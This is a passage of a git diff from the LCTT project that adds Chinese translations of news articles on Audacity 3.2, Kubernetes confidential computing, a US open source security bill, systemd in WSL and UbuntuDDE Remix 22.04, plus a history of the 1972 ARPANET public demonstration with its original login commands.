现在也支持了 FFMPEG 5.0;这确保了用户可以利用最新的开源音频/视频库套件。 + +### 苹果芯片支持 + +此版本还为基于 arm64 架构的 Apple 芯片带来了 macOS 支持。 + +### 下载 Audacity 3.2 + +[你可以通过其官方网站][10]、[GitHub 发布区][11]、[Flathub][12] 或 [Snap][13] 下载最新的 Audacity 版本。 + +> **[Audacity 3.2 下载][10]** + +💬 *你会尝试 Audacity 3.2 吗?我认为对VST3插件的支持应该是一个改变游戏规则的因素,你怎么看?在下面的评论部分分享它!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/audacity-3-2-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/audacity-3-2-release.jpg +[2]: https://news.itsfoss.com/audacity-3-0-release/ +[3]: https://news.itsfoss.com/audacity-fiasco-fork/ +[4]: https://itsfoss.com/best-audio-editors-linux/ +[6]: https://news.itsfoss.com/content/images/2022/09/Audacity_3.2_effects_button.gif +[7]: https://support.audacityteam.org/audio-editing/using-realtime-effects +[8]: https://news.itsfoss.com/content/images/2022/09/Audacity_3.2_share_audio_button.png +[9]: https://audio.com/ +[10]: https://www.audacityteam.org/download/ +[11]: https://github.com/audacity/audacity/releases +[12]: https://flathub.org/apps/details/org.audacityteam.Audacity +[13]: https://snapcraft.io/audacity +[14]: https://www.audacityteam.org/download/ diff --git a/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md b/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md new file mode 100644 index 0000000000..5eec1a6d51 --- /dev/null +++ b/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md @@ -0,0 +1,39 @@ +[#]: subject: "Kubernetes To Soon Support Confidential Computing" +[#]: via: "https://www.opensourceforu.com/2022/09/kubernetes-to-soon-support-confidential-computing/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15083-1.html" + +Kubernetes 即将支持机密计算 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/kubernets-on-prem-diy-considerations-1.png) + +> Constellation 是第一个始终加密的 kubernetes(K8S)。在这个 K8S 中,你的所有工作负载和控制平面都被完全屏蔽起来,你可以使用加密证书远程确认这一点。 + +Constellation Kubernetes 引擎使用 秘密计算secret computing机密虚拟机confidential VM,将 Kubernetes 集群与云架构的其余部分隔离开来。因此,无论是在静态还是在内存中,数据总是被加密的,并创建了一个 机密上下文confidential context。根据创建 Constellation 的公司 Edgeless Systems 的说法,由于它为在公共云上运行的数据和工作流增加了安全性和保密性,因此机密计算是云计算的未来。 + +Kubernetes 节点在使用 Constellation 的私有虚拟机中运行。根据 Edgeless Systems 的说法,机密虚拟机是安全飞地的演变,它将机密计算的三个原则——运行时加密、隔离和远程证明——扩展到整个虚拟系统。机密虚拟机(TDX)使用底层硬件对私有计算的特殊支持,例如 AMD 安全加密虚拟化(AEM)、SEV-安全嵌套分页(SEV-SNP)和英特尔信任域扩展。此外,ARM 去年还发布了名为 Realms 的新 V9 架构。此设计包括私有 VM 功能。 + +Constellation 尝试在集群级别提供证明或通过加密证书进行验证,以及“始终在线”加密。 Constellation 中的机密 VMS 使用了 Fedora CoreOS,它构建在一个不可变的文件系统之上,是面向容器而设计的。Constellation 还利用 Sigstore 来保护 DevOps 信任链。 + +使用秘密计算时,性能可能会令人担忧。是的,加密会影响性能,但 AMD 和微软的联合基准测试发现,这只会导致 2% 到 8% 之间的微小性能损失。Edgeless Systems 声称 Constellation 将在繁重的工作负载下表现类似。 + +鉴于 Constellation 已通过 CNCF 认证,并且可与包括 GCP 和 Azure 在内的所有主要云服务互操作,这应保证其与其他 Kubernetes 工作负载和工具的互操作性。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/kubernetes-to-soon-support-confidential-computing/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md b/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md new file mode 100644 index 0000000000..ce90653901 --- /dev/null +++ b/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md @@ -0,0 +1,39 @@ +[#]: subject: "Lawmakers Proposes A New Bill To Protect Open Source Software" +[#]: via: "https://www.opensourceforu.com/2022/09/lawmakers-proposes-a-new-bill-to-protect-open-source-software/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15072-1.html" + +美国立法者提出一项保护开源软件的新法案 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/law-4-1536x1025.jpeg) + +> 美国的《保护开源软件法案》将责成管理和预算办公室提供有关如何安全使用开源软件的说明。 + +美国立法者周四提出了一项要求,美国网络安全和基础设施安全局(CISA)需创建风险框架以提高开源软件安全性的措施。为了降低依赖开源代码的系统风险,各机构将利用该框架,CISA 将决定关键基础设施所有者和运营商是否也可以自愿使用它。 + +大多数系统依赖于免费提供的并由社区维护的开源软件来构建网站和应用程序;最大的用户之一是美国联邦政府。该立法由美国国土安全委员会主席兼高级成员、俄亥俄州共和党参议员 Sens. Rob Portman、R-Ohio 和 Gary Peters D-Mich 在一次听证会后提出,以回应在开源代码中发现的影响美国联邦系统和全球数百万其他系统的严重、广泛的 Log4j 漏洞。 + +“这一事件对联邦系统和关键基础设施公司——包括银行、医院和公用事业公司——构成了严重威胁,美国人每天都依赖这些公司提供基本服务,”彼得斯在公告中说。“这项明智的两党立法将有助于保护开源软件,并进一步加强我们的网络安全防御,防止网络犯罪分子和外国对手对全国网络发起的不断的攻击。” + +这项《保护开源软件法》还要求美国管理和预算办公室为各机构发布关于保护开源软件的指南,在 CISA 网络安全咨询委员会中设立一个软件安全小组委员会,并要求 CISA 聘请开源软件专家协助处理网络事件。 + +在此之前,Peters 和 Portman 的提议已获得美国参议院一致通过并签署成为法律,以加强州和地方政府的网络防御,并迫使关键基础设施的所有者和运营商向 CISA 报告重大网络攻击和勒索软件付款。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/lawmakers-proposes-a-new-bill-to-protect-open-source-software/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220923 Systemd is Now Available in WSL.md b/published/202209/20220923 Systemd is Now Available in WSL.md new file mode 100644 index 0000000000..c24b1ece9a --- /dev/null +++ b/published/202209/20220923 Systemd is Now Available in WSL.md @@ -0,0 +1,114 @@ +[#]: subject: "systemd is Now Available in WSL" +[#]: via: "https://news.itsfoss.com/systemd-wsl/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15068-1.html" + +systemd 已可用于 WSL +====== + +> 微软的 WSL 现已支持 systemd,为用户提供了更好的体验。你可阅读此文了解更多。 + +![systemd 已可用于 WSL][1] + +WSL(Windows 的 Linux 子系统Windows Subsystem for Linux)终于拥有了对 systemd 的支持,这是在 systemd 的创建者加入微软的几个月后实现的。 + +> **[更多 Linux 开发者们加入微软,systemd 的创建者也加入这一行列][2]** + +而这已通过微软和 Cannonical 的合作成为可能。 + +> **如果你好奇 systemd 是什么**: +> +> systemd 是一套 Linux 系统的基本组成模块。它提供了一个系统和服务管理器,作为 PID 1 运行,并启动系统的其他部分。 +> +> 来自:systemd.io + +它作为一个初始化系统,启动并维持用户空间其他服务的正常运行。 + +让我们看看它是如何被引入 WSL 的。 + +### systemd 增强 WSL 的体验 + +![WSL: 与 Cannonical 合作以支持 systemd][4] + +在 WSL 中引入 systemd,主要是为改善 Windows 机器上的 Linux 工作流程。 + +像 Debian、Ubuntu、Fedora 等,都是默认运行 systemd 的。因此,这项整合将使这些发行版的用户更方便地在 WSL 上做更多工作。 + +很多关键的 Linux 程序也是靠 systemd 实现的。例如 snap、microk8s 和 LXD 都依赖它。 + +即使我们有 [不含 systemd 的发行版][5] 可用,它们也并不适合所有人。因此,在 WSL 上添加对 systemd 的支持是很有意义的。 + +systemd 的存在也使得在 Windows 中使用更多工具来测试和运行成为可能,从而带来更好的 WSL 体验。 + +### 它是如何实现的 + +WSL 背后的团队必须修改其架构,它们让 WSL 的初始化进程在 Linux 发行版中以 systemd 的一个子进程启动。 + +正如其 [官方公告][7] 所述,这样做使得 WSL 初始化程序能够为 Windows 和 Linux 子系统之间的通讯提供必要的基础。 + +它们还做了额外的修改,通过防止 systemd 保持 WSL 实例的活动以确保系统的干净关机。 + +你亦可访问他们的 [官方文档][8] 以了解更多。 + +### 在 WSL 上使用 systemd + +> 现有的 WSL 用户必须在他们的系统上手动启用 systemd,以防止由于 systemd 的引入而导致的启动问题。 + +首先,你必须确保你的系统运行的是 **0.67.6** 或更高版本的 WSL。 + +你可以通过以下命令检查你的 WSL 版本。 + +``` +wsl --version +``` + +如果你正在运行旧版本,你可以通过 微软应用商店Microsoft Store 或者以下命令更新它。 + +``` +wsl --update +``` + +此外,如果你不是 Windows 预览体验成员Windows Insider,你可以到 [WSL 发行页面][9] 下载它来体验。 + +为了让 systemd 在你的系统上运行,你需要修改 [wsl.conf][10] 这个文件以确保 systemd 在启动时运行。 + +在 `wsl.conf` 添加以下几行以使 WSL 在启动时运行 systemd + +``` +[boot] +systemd=true +``` + +最后,重启你的 WSL 实例以见证更改。 + +随着对 systemd 的支持,微软在 WSL 的发展又前进了一大步,这将使得 WSL 吸引更多用户。 + +*💬 是否对 WSL 支持 systemd 感到兴奋?或是你更喜欢无 systemd 的发行版?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/systemd-wsl/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[vvvbbbcz](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/systemd-now-available-on-wsl.png +[2]: https://news.itsfoss.com/systemd-creator-microsoft/ +[3]: https://news.itsfoss.com/systemd-creator-microsoft/ +[4]: https://youtu.be/Ja3qikzd-as +[5]: https://itsfoss.com/systemd-free-distros/ +[6]: https://itsfoss.com/systemd-free-distros/ +[7]: https://devblogs.microsoft.com/commandline/systemd-support-is-now-available-in-wsl/ +[8]: https://learn.microsoft.com/en-in/windows/wsl/ +[9]: https://github.com/microsoft/WSL/releases +[10]: https://learn.microsoft.com/en-in/windows/wsl/wsl-config#wslconf diff --git a/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md b/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md new file mode 100644 index 0000000000..3283069ec9 --- /dev/null +++ b/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md @@ -0,0 +1,102 @@ +[#]: subject: "UbuntuDDE Remix 22.04 LTS Released!" +[#]: via: "https://news.itsfoss.com/ubuntudde-remix-22-04-released/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15076-1.html" + +UbuntuDDE Remix 22.04 LTS 发布! +====== + +> UbuntuDDE 22.04 LTS 发布,带有 Linux 内核 5.15、深度应用商店及一些升级。 + +![UbuntuDDE Remix 22.04 LTS Released!][1] + +UbuntuDDE Remix 是一个在 Ubuntu 之上集成深度桌面环境(DDE)的发行版。不想尝试深度发行版但喜欢其用户界面的用户可以尝试一下。 + +它以 [Ubuntu 22.04 LTS](https://news.itsfoss.com/ubuntu-22-04-release/) 为基础,这是一次主要版本升级。 + +让我们看看他们能提供什么。 + +### UbuntuDDE Remix 22.04 的新内容 + +他们通过这个发行版为 Ubuntu 添加了许多新东西,例如 “全局搜索栏”、基于 GTK 的应用程序的升级版本、新壁纸、深度应用程序商店等等。 + +让我们看看 UbuntuDDE Remix 22.04 带来的一些关键变化。 + +### DDE 全局搜索 + +![ubuntudde remix 22.04 grand search][4] + +他们称之为 “DDE 全局搜索”,这是一个快速应用启动器。 + +这使用户能够快速搜索任何内容,无论是应用程序、文件、文件夹,甚至是简单的网络搜索。它由键盘快捷键(`Shift + Space`)激活。 + +### Linux 内核 5.15 + +该发行版还具有 Linux 内核 5.15,它为各种功能打开了大门,例如对英特尔 Alder Lake CPU 的增强支持、对 NTFS3 驱动程序的改进、改进的苹果 M1 支持等等。 + +我们之前介绍了此 Linux 内核版本的亮点,你可以 [查看它][5] 以获取更多信息: + +### 重新设计的新安装程序 + +![ubuntudde remix 22.04 installer][7] + +UbuntuDDE Remix 上的安装程序似乎从 [Qt 安装程序框架][8] 的书中吸取了一些经验,在 Calamares 安装程序中提供了基于 Qt 的样式,并有一个非常熟悉的布局,可以毫不费力地安装发行版的所有常规选项。 + +### 新壁纸 + +![ubuntudde remix 22.04 new wallpapers][9] + +该版本还包括许多新壁纸供你使用。 + +### 🛠️ 其他变化 + +你可以期待它附带的明显的深度应用程序和好东西。一些值得一提的包括: + +- 预装深度应用商店 +- LibreOffice 7.3.6.2 +- 通过 OTA 更新定期进行软件更新 +- 包含升级的基于 DTK 的应用程序,如深度音乐、深度终端、Boot Maker、系统监视器等 + +### 下载 UbuntuDDE 混音 22.04 + +你可以前往官方 [下载页面下载][10] UbuntuDDE Remix 22.04 的 ISO 文件。 + +> **[UbuntuDDE Remix 22.04][10]** + +如果你正在寻找一个现场 USB 创建工具来安装 UbuntuDDE Remix,请阅读本指南以轻松创建一个: + +> **[在 Linux 上使用 Rufus?这是一些最好的现场 USB 创建工具][12]** + +请注意,它不是 Ubuntu 的官方版本(因此是 “Remix”),但可以马上尝试深度桌面看起来很令人兴奋。 + +*💬 你怎么看?你想在 Ubuntu 上体验深度桌面吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntudde-remix-22-04-released/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ubunturemixdde-22-04-lts.png +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Desktop.png +[4]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Grand-Search.png +[5]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[7]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Installer.png +[8]: https://doc.qt.io/qtinstallerframework/ifw-overview.html +[9]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_New_Wallpapers.png +[10]: https://ubuntudde.com/download/ +[11]: https://bit.ly/ubuntudde-22-04-fosshost +[12]: https://itsfoss.com/live-usb-creator-linux/ +[14]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20210207 The Real Novelty of the ARPANET.md b/published/202210/20210207 The Real Novelty of the ARPANET.md new file mode 100644 index 0000000000..5ebe5c852b --- /dev/null +++ b/published/202210/20210207 The Real Novelty of the ARPANET.md @@ -0,0 +1,191 @@ +[#]: collector: (lujun9972) +[#]: translator: (aREversez) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15139-1.html) +[#]: subject: (The Real Novelty of the ARPANET) +[#]: via: (https://twobithistory.org/2021/02/07/arpanet.html) +[#]: author: (Two-Bit History https://twobithistory.org) + +ARPANET 的真正创新之处 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/14/180115j5hae51hv1a1ohp5.jpg) + +如果你在搜索引擎中输入“ARPANET”,搜索相关图片,你会看到许多地图的图片,上面是这个上世纪六十年代末七十年代初 [美国政府创建的研究网络][1],该网络不断延伸扩展,横跨了整个美国。我猜很多人第一次了解到 ARPANET 的时候都看过这种地图。 + +可以说,这些地图很有意思,毕竟我们很难想象过去连接网络的计算机是那么少,就连如此低保真的图片都可以表示出美国全部机器的所在位置(这里的低保真lo-fi指的是高射投影仪成像技术,而不是大家熟知的 lo-fi 氛围音乐)。不过,这些地图是有问题的。地图上用加粗的线条连接着大陆各地,强化了人们的一种观念:ARPANET 最大的贡献就是首次将横跨美国东西两地的电脑连接了起来。 + +今天,即便是在病毒肆虐、人们困居家中的情况下,网络也能把我们联系起来,可谓是我们的生命线。所以,如果认为 ARPANET 是最早的互联网,那么在那之前世界必然相互隔绝,毕竟那时还没有今天的互联网,对吧?ARPANET 首次通过计算机将人们连接起来,一定是一件惊天动地的大事。 + +但是,这一观点却与历史事实不符,而且它也没有进一步解释 ARPANET 的重要性。 + +### 初露锋芒 + +华盛顿希尔顿酒店坐落于国家广场National Mall东北方向约 2.4 千米处的一座小山丘山顶附近。酒店左右两侧白色的现代化立面分别向外延展出半个圆形,活像一只飞鸟的双翼。1965 年,酒店竣工之后,《纽约时报》报道称这座建筑物就像“一只栖息在山顶巢穴上的海鸥” [^1]。 + +不过,这家酒店最有名的特点却深藏在地下。在车道交汇处下方,有着一个巨大的蛋形活动场地,这就是人们熟知的国际宴会厅International Ballroom,多年来一直是华盛顿特区最大的无柱宴会厅。1967 年,大门乐队在此举办了一场音乐会。1968 年,“吉他之神”吉米·亨德里克斯也在此举办了一场音乐会。到了 1972 年,国际宴会厅隐去了以往的喧嚣,举办了首届国际计算机通信会议International Conference on Computing Communication(ICCC)。在这场大会上,研究项目 ARPANET 首次公开亮相。 + +这场会议举办时间为 10 月 24-26 日,与会人数约八百人 [^2]。在这场大会上,计算机网络这一新兴领域的领袖人物齐聚一堂。因特网internet的先驱鲍勃·卡恩Bob Kahn称,“如果有人在华盛顿希尔顿酒店上方丢了一颗炸弹,那么美国的整个网络研究领域将会毁于一旦” [^3]。 + +当然,不是所有的与会人员都是计算机科学家。根据当时的宣传广告,这场大会将“以用户为中心”,面向“律师、医务人员、经济学家、政府工作者、工程师以及通信员等从业人员”[^4]。虽然大会的部分议题非常专业,比如《数据网络设计问题(一)》与《数据网络设计问题(二)》,但是正如宣传广告所承诺的,大部分会议的主要关注点还是计算机网络给经济社会带来的潜在影响。其中甚至有一场会议以惊人的先见之明探讨了如何积极利用法律制度“保护计算机数据库中的隐私权益” [^5]。 + +展示 ARPANET 的目的是作为与会者的一个附带景点。在国际宴会厅或酒店更下一层的其他地方举行的会议间歇,与会者可以自由进入乔治敦宴会厅Georgetown Ballroom(在国际宴会厅走廊尽头的一个较小的宴会厅,也可以说是会议室)[^6],那里放置着用以访问 ARPANET 的 40 台由不同制造商生产的终端 [^7]。这些终端属于哑终端dumb terminal,也就是说,只能用来输入命令、输出结果,本身无法进行计算。事实上,在 1972 年,所以这些终端可能都是硬拷贝终端hardcopy terminal,即电传打字机teletype machine。哑终端与一台被称为“终端接口信息处理机Terminal Interface Message Processor”(TIP)的计算机相连接,后者放置在宴会厅中间的一个高台上。TIP 是早期的一种路由器,哑终端可通过 TIP 连接到 ARPANET。有了终端和 TIP,ICCC 与会者可以尝试登录和访问组成 ARPANET 的 29 个主机站的计算机 [^8]。 + +为了展示网络的性能,美国全国各主机站的研究员们通力合作,准备了 19 个简易的“情景”,供用户测试使用。他们还出了 [一份小册子][10],将这些情景收录其中。如果与会人员打算进入这个满是电线与哑终端的房间,就会得到这样一本小册子 [^9]。通过这些情景,研究员不仅要证明网络这项新技术的可行性,还要证明其实用性,因为 ARPANET 那时还只是“一条没有汽车驶过的公路”。此外,来自国防部的投资者们也希望,公开展示 ARPANET 可以进一步激发人们对网络的兴趣 [^10]。 + +因此,这些情景充分展示了在 ARPANET 网络上可以使用的软件的丰富性:有程序语言解释器,其中一个用于麻省理工学院(MIT)的 Lisp 语言,另一个用于加州大学洛杉矶分校的数值计算环境 Speakeasy;还有一些游戏,包括国际象棋和 康威生命游戏Conway's Game of Life;以及几个也许最受与会者欢迎的人工智能聊天程序,包括由 MIT 的计算机科学家约瑟夫·魏泽堡Joseph Weizenbaum开发的著名聊天程序伊莉莎ELIZA。 + +设置这些情景的研究人员小心翼翼地列出了他们想让用户在终端机上输入的每一条命令。这点很重要,因为用于连接 ARPANET 主机的命令序列可能会因为主机的不同而发生变化。比如,为了能在 MIT 人工智能实验室的 PDP-10 微型电脑上测试人工智能国际象棋程序,与会者需要按照指示输入以下命令: + +> 在下方代码块中,`[LF]`、`[SP]` 以及 `[CR]` 分别代表换行、空格以及回车键。我在每行的 `//` 符号后面都解释了当前一行命令的含义,不过当时的小册子本来是没有使用这一符号的。 + +``` +@r [LF] // 重置 TIP +@e [SP] r [LF] // “远程回显”设置, 主机回显字符,TIP 不回显 +@L [SP] 134 [LF] // 连接 134 号主机 +:login [SP] iccXXX [CR] // 登录 MIT 人工智能实验室的系统,“XXX”代表用户名首字母缩写 +:chess [CR] // 启动国际象棋程序 +``` + +如果与会者输入了上述命令,那么他就可以体验当时最先进的国际象棋程序,其棋盘布局如下: + +``` +BR BN BB BQ BK BB BN BR +BP BP BP BP ** BP BP BP +-- ** -- ** -- ** -- ** +** -- ** -- BP -- ** -- +-- ** -- ** WP ** -- ** +** -- ** -- ** -- ** -- +WP WP WP WP -- WP WP WP +WR WN WB WQ WK WB WN WR +``` + +与之不同的是,如果要连接加州大学洛杉矶分校的 IBM System/360 机器,运行 Speakeasy 数值计算环境,与会者需要输入以下命令: + +``` +@r [LF] // 重置 TIP +@t [SP] o [SP] L [LF] // “传递换行”设置 +@i [SP] L [LF] // “插入换行”设置,即回车时发送换行符。 +@L [SP] 65 [LF] // 连接 65 号主机 +tso // 连接 IBM 分时可选软件系统 +logon [SP] icX [CR] // 输入用户名,进行登录,“X”可为任意数字 +iccc [CR] // 输入密码(够安全!) +speakez [CR] // 启动 Speakeasy +``` + +输入上述命令后,与会者可以在终端中对矩阵进行乘法、转置以及其他运算,如下所示: + +``` +:+! a=m*transpose(m);a [CR] +:+! eigenvals(a) [CR] +``` + +当时,这场演示给许多人都留下了深刻的印象,但原因并不是我们所想的那样,毕竟我们有的只是后见之明。今天的人们总是记不住,在 1972 年,即便身处两个不同的城市,远程登录使用计算机也已经不是一件新鲜事儿了。在那之前的数十年,电传打字机就已经用于与相隔很远的计算机传递信息了。在 ICCC 第一届大会之前,差不多整整五年前,在西雅图的一所高中,比尔·盖茨Bill Gates使用电传打字机,在该市其他地方的通用电气General Electric(GE)计算机上运行了他的第一个 BASIC 程序。在当时,登录远程计算机,运行几行命令或者玩一些文字游戏,只不过是家常便饭。因此,虽说上文提到的软件的确很不错,但是即便没有 ARPANET,我刚刚介绍的两个情景勉强也是可以实现的。 + +当然,ARPANET 一定带来了新的东西。参加本次大会的律师、政治家与经济学家可能被国际象棋游戏与聊天机器人所吸引,但是网络专家们可能对另外两个情景更感兴趣,因为它们将 ARPANET 的作用更好地展示了出来。 + +在其中一个情景下,MIT 非兼容分时系统Incompatible Timesharing System(ITS)上运行了一个名为 `NETWRK` 的程序。`NETWRK` 命令下有若干个子命令,输入这些子命令就能得到 ARPANET 各方面的运行状态。`SURVEY` 子命令可以列出 ARPANET 上哪些主机正在运行和可用(它们都在一个列表中);`SUMMARY.OF.SURVEY` 子命令汇总了过去 `SURVEY` 子命令过去的运行结果,得出每台主机的“正常运行比率”,以及每台主机响应消息的平均时间。`SUMMARY.OF.SURVEY` 子命令以表格的形式输出结果,如下所示: + +``` +--HOST-- -#- -%-UP- -RESP- +UCLA-NMC 001 097% 00.80 +SRI-ARC 002 068% 01.23 +UCSB-75 003 059% 00.63 +... +``` + +可以看到,主机编号的占位不超过三个数字(哈!)。其他 `NETWRK` 子命令能够查看较长时间内查询结果的概要,或者检查单个主机查询结果的日志。 + +第二个情景用到了斯坦福大学开发的一款软件 —— SRI-ARC 联机系统。这款软件功能齐全,非常优秀。美国发明家道格拉斯·恩格尔巴特Douglas Engelbart在 “所有演示之母Mother of All Demos” 上演示的正是 SRI-ARC 联机系统。这款软件可以在加州大学圣芭芭拉分校的主机上运行本质上属于文件托管的服务。使用华盛顿希尔顿酒店的终端,用户可以将斯坦福大学主机上创建的文件复制到加州大学圣芭芭拉分校的主机上。操作也很简单,只需执行 `copy` 命令,然后回答计算机的下列问题: + +> 在下方的代码块中,`[ESC]`、`[SP]` 与 `[CR]` 分别代表退出、空格与回车键;圆括号中的文字是计算机打印出的提示信息;第三行中的退出键用于自动补全文件名。此处复制的文件是 `sample.txt;1`,其中文件名末尾的数字 1 代表文件的版本号,`` 表示文件路径。这种文件名是 TENEX 操作系统上面的惯用写法。[^11] + +``` +@copy +(TO/FROM UCSB) to +(FILE) sample [ESC] .TXT;1 [CR] +(CREATE/REPLACE) create +``` + +这两个情景看起来好像和最初提及的两个情景没有太大区别,但是此二者却意义非凡。因为它们证明了,在 ARPANET 上面,不仅人们可以与计算机进行交流,计算机与计算机也可以 _相互_ 交流。MIT 主机上的 `SURVEY` 命令的结果并非由人类定期登录并检查每台机器的运行状态收集而来,而是由一款能在网络上与其他机器进行交流的软件收集得到的。同样的道理,在斯坦福大学与加州大学圣芭芭拉分校之间传输文件的情景下,也没有人守在两所大学的终端旁边,华盛顿特区的终端用户仅仅使用了一款软件,就能让其他两地的计算机相互对话。更重要的是,这一点无关乎你使用的是宴会厅里的哪一台电脑,因为只要输入同样的命令序列,就能在任意一台电脑上浏览 MIT 的网络监视数据,或者在加州大学圣芭芭拉分校的计算机上储存文件。 + +这才是 ARPANET 的全新之处。本次国际计算机通信会议演示的不仅仅是人与远程电脑之间的交互,也不仅仅是远程输入输出的操作,更是一个软件与其他软件之间的远程通讯,这一点才是史无前例的。 + +为什么这一点才是最重要的,而不是地图上画着的那些贯穿整个美国、实际连接起来的电线呢(这些线是租赁的电话线,而且它们以前就在那了!)?要知道,早在 1966 年 ARPANET 项目启动之前,美国国防部的高级研究计划署(ARPA)打造了一间终端室,里面有三台终端。三台终端分别连接着位于 MIT、加州大学伯克利分校以及圣塔莫尼卡三地的计算机 [^12]。对于 ARPA 的工作人员来说,即便他们身处华盛顿特区,使用这三台计算机也非常方便。不过,这其中也有不便之处:工作人员必须购买和维护来自三家不同制造商的终端,牢记三种不同的登录步骤,熟悉三种不同的计算环境。虽然这三台终端机可能就放在一起,但是它们只是电线另一端主机系统的延申,而且操作也和那些计算机一样各不相同。所以说,在 ARPANET 项目诞生之前,远程连接计算机进行通讯就已经实现了,但问题是不同的计算系统阻碍了通讯朝着更加先进复杂的方向发展。 + +### 集合起来,就在此刻 + +因此,我想说的是,说法一(ARPANET 首次通过计算机将不同地方的人们连接了起来)与说法二(ARPANET 首次将多个计算机系统彼此连接了起来)之间有着云泥之别。听起来似乎有些吹毛求疵,咬文嚼字,但是相较于说法二,说法一忽略了一些重要的历史发展阶段。 + +首先,历史学家乔伊·利西·兰金Joy Lisi Rankin指出,早在 ARPANET 诞生之前,人们就已经在网络空间中进行交流了。在《美国计算机的人民历史A People’s History of Computing in the United States》一书中,兰金介绍了几个覆盖全美的数字社区,这些社区运行在早于 ARPANET 的分时网络time-sharing network上面。从技术层面讲,分时网络并不是计算机网络,因为它仅仅由一台大型主机构成。这种计算机放置在地下室中,为多台哑终端提供计算,颇像一只又黑又胖的奇怪生物,触手向外伸展着,遍及整个美国。不过,在分时网络时代,被后社交媒体时代称为“网络”的大部分社会行为应有尽有。例如,Kiewit 网络是达特茅斯分时系统Dartmouth Time-Sharing System的延伸应用,服务于美国东北部的各个大学和高中。在 Kiewit 网络上,高中生们共同维护着一个“八卦档案gossip file”,用来记录其他学校发生的趣闻趣事,“在康涅狄格州和缅因州之间建立起了社交联系” [^13]。同时,曼荷莲女子学院的女生通过网络与达特茅斯学院的男生进行交流,或者是安排约会,或者是与男朋友保持联系 [^14]。这些事实都发生在上世纪六十年代。兰金认为,如果忽视了早期的分时网络,我们对美国过去 50 年数字文化发展的认识必然是贫瘠的:我们眼里可能只有所谓的“硅谷神话Silicon Valley mythology”,认为计算机领域的所有发展都要归功于少数的几位天才,或者说互联网科技巨头的创始人。 + +回到 ARPANET,如果我们能意识到真正的困难是计算机 _系统_ 的联通,而非机器本身的物理连接,那么在探讨 ARPANET 的创新点时,我们就会更加倾向于第二种说法。ARPANET 